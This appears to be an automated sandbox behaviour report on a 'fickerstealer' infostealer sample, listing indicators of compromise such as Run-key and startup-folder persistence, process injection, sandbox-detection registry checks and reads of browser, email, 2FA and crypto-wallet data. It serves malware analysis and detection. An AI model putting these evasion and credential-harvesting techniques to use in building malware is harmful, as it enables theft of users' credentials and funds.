fickerstealer | 2205e931fcca292889c4845eb2b0e961fc7b598c276b6abf71bb5cf6c59c1132

System Information Discovery

Processes:

xCYRAalC9e9K6Ek651aMSpaH.exeMzBaN07ocu5mFwtmMys67JBn.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xCYRAalC9e9K6Ek651aMSpaH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xCYRAalC9e9K6Ek651aMSpaH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MzBaN07ocu5mFwtmMys67JBn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MzBaN07ocu5mFwtmMys67JBn.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

sonia_5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	sonia_5.exe

Drops startup file 2 IoCs

Processes:

Acre.exe.comSensitive.exe.com

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url	Acre.exe.com
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url	Sensitive.exe.com

Loads dropped DLL 22 IoCs

Processes:

setup_install.exesonia_2.exerundll32.exesonia_3.exerundll32.exe_vA99Y84IHHY82SdnIh22npT.exeJFIqHhdh5QBvAWNkvfEKIZrX.exerundll32.exejhhdssejhhdssejhhdsse

pid	process
3656	setup_install.exe
3656	setup_install.exe
3656	setup_install.exe
3656	setup_install.exe
3656	setup_install.exe
1308	sonia_2.exe
1136	rundll32.exe
3936	sonia_3.exe
3936	sonia_3.exe
5256	rundll32.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4804	JFIqHhdh5QBvAWNkvfEKIZrX.exe
4804	JFIqHhdh5QBvAWNkvfEKIZrX.exe
5368	rundll32.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4276	_vA99Y84IHHY82SdnIh22npT.exe
4256	jhhdsse
5200	jhhdsse
4576	jhhdsse

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral27/memory/2592-330-0x00000000011B0000-0x00000000011B1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

sonia_6.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	sonia_6.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

ei1wnyJ98Qpe8EttYoix2ABa.exexCYRAalC9e9K6Ek651aMSpaH.exeMzBaN07ocu5mFwtmMys67JBn.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ei1wnyJ98Qpe8EttYoix2ABa.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xCYRAalC9e9K6Ek651aMSpaH.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MzBaN07ocu5mFwtmMys67JBn.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

151 api.ipify.org
257 eth0.me
13 ip-api.com
16 ipinfo.io
17 ipinfo.io

flow	ioc
151	api.ipify.org
257	eth0.me
13	ip-api.com
16	ipinfo.io
17	ipinfo.io

Drops file in System32 directory 3 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 7B92835666B21C93	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Updates\jNEWIvlnVf	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

xCYRAalC9e9K6Ek651aMSpaH.exeMzBaN07ocu5mFwtmMys67JBn.exe

pid process

4384 xCYRAalC9e9K6Ek651aMSpaH.exe
2592 MzBaN07ocu5mFwtmMys67JBn.exe

pid	process
4384	xCYRAalC9e9K6Ek651aMSpaH.exe
2592	MzBaN07ocu5mFwtmMys67JBn.exe

Suspicious use of SetThreadContext 11 IoCs

Processes:

svchost.exeOLKbrowser.exe_vA99Y84IHHY82SdnIh22npT.exeswHDMb42KGdq3SWECFSsN0bC.exex9NqjD89iPck8mHmczpSqp8K.exe_vuV8Vf8MiqipsbzqFiCvzwB.exeeu8UEzTeNFwIeNwKkDB79cIF.exe1234.exeSensitive.exe.comAcre.exe.comsrvs.exe

description	pid	process	target process
PID 4012 set thread context of 1296	4012	svchost.exe	svchost.exe
PID 4220 set thread context of 4916	4220	OLKbrowser.exe	OLKbrowser.exe
PID 4476 set thread context of 4276	4476	_vA99Y84IHHY82SdnIh22npT.exe	_vA99Y84IHHY82SdnIh22npT.exe
PID 3928 set thread context of 5072	3928	swHDMb42KGdq3SWECFSsN0bC.exe	swHDMb42KGdq3SWECFSsN0bC.exe
PID 4252 set thread context of 4356	4252	x9NqjD89iPck8mHmczpSqp8K.exe	x9NqjD89iPck8mHmczpSqp8K.exe
PID 4392 set thread context of 2776	4392	_vuV8Vf8MiqipsbzqFiCvzwB.exe	_vuV8Vf8MiqipsbzqFiCvzwB.exe
PID 4116 set thread context of 1324	4116	eu8UEzTeNFwIeNwKkDB79cIF.exe	eu8UEzTeNFwIeNwKkDB79cIF.exe
PID 5720 set thread context of 5412	5720	1234.exe	1234.exe
PID 5728 set thread context of 744	5728	Sensitive.exe.com	RegAsm.exe
PID 5816 set thread context of 5844	5816	Acre.exe.com	RegAsm.exe
PID 5764 set thread context of 5640	5764	srvs.exe	srvs.exe

Drops file in Program Files directory 7 IoCs

Processes:

f0ARaYHR2z6j6iBugUAe5dps.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg	f0ARaYHR2z6j6iBugUAe5dps.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat	f0ARaYHR2z6j6iBugUAe5dps.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe	f0ARaYHR2z6j6iBugUAe5dps.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe	f0ARaYHR2z6j6iBugUAe5dps.exe
File created	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini	f0ARaYHR2z6j6iBugUAe5dps.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe	f0ARaYHR2z6j6iBugUAe5dps.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg	f0ARaYHR2z6j6iBugUAe5dps.exe

Drops file in Windows directory 3 IoCs

Processes:

setup 326.exeMicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4348	4628	WerFault.exe	setup.exe
1576	4628	WerFault.exe	setup.exe
3560	4628	WerFault.exe	setup.exe
1808	4628	WerFault.exe	setup.exe
2252	4628	WerFault.exe	setup.exe
4728	4956	WerFault.exe	Chrome Update.exe
3612	4628	WerFault.exe	setup.exe
5420	5368	WerFault.exe	rundll32.exe
5276	2096	WerFault.exe	wPhpLQOlC4eDHs1YkjqSpBl9.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exejhhdssejhhdssejhhdsse

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhhdsse

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

JFIqHhdh5QBvAWNkvfEKIZrX.exesvchost.exesonia_3.exe_vuV8Vf8MiqipsbzqFiCvzwB.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	JFIqHhdh5QBvAWNkvfEKIZrX.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sonia_3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	sonia_3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	_vuV8Vf8MiqipsbzqFiCvzwB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	_vuV8Vf8MiqipsbzqFiCvzwB.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	JFIqHhdh5QBvAWNkvfEKIZrX.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2776 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

5476 timeout.exe
4520 timeout.exe
6056 timeout.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4764 taskkill.exe
5264 taskkill.exe
192 taskkill.exe

pid	process
2776	schtasks.exe

pid	process
5476	timeout.exe
4520	timeout.exe
6056	timeout.exe

pid	process
4764	taskkill.exe
5264	taskkill.exe
192	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wPhpLQOlC4eDHs1YkjqSpBl9.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	wPhpLQOlC4eDHs1YkjqSpBl9.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	wPhpLQOlC4eDHs1YkjqSpBl9.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exesvchost.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = e0a6de27fd7dd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000005549e7eb5f6ab8ebf8ac6e5ce5a9cab5d46da95b96f520c9a2f0410f63b907bec323891fef9cbd2c1a01da427ffa9a4966200bcccbc5e2d70d6	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7283aad8ca7dd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing	MicrosoftEdgeCP.exe
